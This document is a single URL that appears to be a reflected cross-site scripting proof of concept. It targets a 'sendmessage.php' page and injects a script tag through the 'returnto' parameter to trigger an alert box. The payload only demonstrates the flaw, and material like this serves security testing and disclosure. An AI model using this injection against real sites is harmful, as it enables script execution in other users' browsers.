http://site/sendmessage.php?receiver=1&returnto=><script>alert('a')</script>